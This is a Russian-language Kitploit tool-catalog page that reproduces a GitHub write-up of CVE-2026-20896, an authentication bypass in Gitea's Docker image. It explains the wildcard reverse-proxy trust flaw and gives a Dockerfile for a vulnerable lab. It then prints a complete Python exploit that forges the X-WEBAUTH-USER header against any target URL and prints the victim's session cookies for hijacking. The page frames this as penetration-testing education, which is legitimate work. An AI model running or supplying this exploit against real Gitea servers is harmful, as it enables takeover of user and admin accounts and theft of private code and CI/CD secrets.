Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-20896-Gitea-Authentication-Bypass — Объяснение и PoC для эксплуатации уязвимости обхода аутентификации CVE-2026-20896 в Gitea. Позволяет похищать токены сессий действительных пользователей в экземпляре Gitea. | Kitploit
Инструменты/GitHubGitHub/judgedbykira/cve-2026-20896-gitea-authentication-bypass
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеЛаборатории и Практика
GitHub
judgedbykira/cve-2026-20896-gitea-authentication-bypass

CVE-2026-20896-Gitea-Authentication-Bypass

Объяснение и PoC для эксплуатации уязвимости обхода аутентификации CVE-2026-20896 в Gitea. Позволяет похищать токены сессий действительных пользователей в экземпляре Gitea.

Репозиторий
1432 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-20896 - Обход аутентификации Gitea ≤1.26.2

1. Что такое Gitea?

Gitea — это лёгкая платформа с открытым исходным кодом для размещения Git-репозиториев, которая позволяет организациям и разработчикам управлять репозиториями исходного кода, отслеживать задачи, просматривать изменения и совместно работать над программными проектами. Она предоставляет функциональность, аналогичную таким платформам, как GitHub и GitLab, но спроектирована так, чтобы быть размещаемой на собственном сервере, эффективной и простой в обслуживании, что делает её подходящей для организаций, которые хотят получить больший контроль над своим кодом и инфраструктурой разработки.

2. Описание уязвимости

CVE-2026-20896 — это критическая уязвимость обхода аутентификации в официальном Docker-образе Gitea, оценённая как CVSS 9.8 (Critical). Она затрагивает Docker-образы Gitea вплоть до 1.26.2 включительно. Основная причина — небезопасная конфигурация по умолчанию: REVERSE_PROXY_TRUSTED_PROXIES = *, из-за которой Gitea доверяет заголовкам аутентификации обратного прокси, поступающим с любого IP-адреса. Когда аутентификация через обратный прокси включена, неаутентифицированный удалённый злоумышленник может подставить поддельный заголовок X-WEBAUTH-USER и заставить Gitea считать его указанным пользователем. В частности, выдача себя за администратора может привести к полному административному доступу без необходимости ввода пароля или действительного токена аутентификации.

Потенциальное воздействие серьёзное, поскольку административный доступ к Gitea может раскрыть частные репозитории исходного кода, учётные данные и секреты CI/CD, а также позволить изменять репозитории, SSH-ключи, вебхуки и другие настройки, критически важные для безопасности. Уязвимость особенно актуальна для развёртываний, использующих затронутый Docker-образ вместе с аутентификацией через обратный прокси; это не просто недостаток обычного механизма аутентификации по паролю в Gitea. Команда Gitea устранила проблему в версии 1.26.3, и администраторам следует обновиться до актуального исправленного релиза и пересмотреть конфигурацию доверия к обратному прокси, а не полагаться на небезопасную настройку с подстановочным символом. Сообщения также указывают на попытки эксплуатации уязвимости против доступных извне экземпляров Gitea, что делает быстрое устранение особенно важным.

CWEs

  • CWE-284 – Некорректный контроль доступа.

TTPs

  • T1078 (Действительные учётные записи)
  • T1190 (Эксплуатация публично доступного приложения)

3. Создание лабораторной среды

Мы запустим Docker-контейнер с уязвимой версией Gitea, в данном случае версией 1.26.2, используя следующий Dockerfile:

FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

Затем, чтобы собрать docker-контейнер, используйте следующую команду:

docker build -t gitea-cve-2026-20896-lab .

Наконец, разверните docker-контейнер с помощью следующей команды:

docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

4. Proof of Concept

Если мы знаем имя любого пользователя экземпляра Gitea, мы можем выдать себя за него, злоупотребив заголовком X-WEBAUTH-USER: username. В этой лабораторной среде мы создали пользователя с именем jbkira, поэтому мы перехватим обычный неаутентифицированный запрос к главной странице Gitea через прокси; например, я буду использовать BurpSuite, и мы добавим заголовок:

image

Если мы перешлём этот запрос с заголовком X-WEBAUTH-USER, то при повторном открытии страницы Gitea в браузере мы увидим, что теперь мы вошли в систему как пользователь jbkira. Но так работает не всегда, поэтому я создал PoC-скрипт, который выполняет атаку и похищает сессионный cookie целевого пользователя; затем вы можете скопировать и вставить его в свой браузер, чтобы получить доступ к целевому пользователю.

5. Автоматизированный PoC-скрипт

Автоматизированный PoC на Python, который эксплуатирует уязвимость обхода аутентификации и похищает сессионный cookie целевого пользователя:

import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()

Пример использования:

Скачать инструмент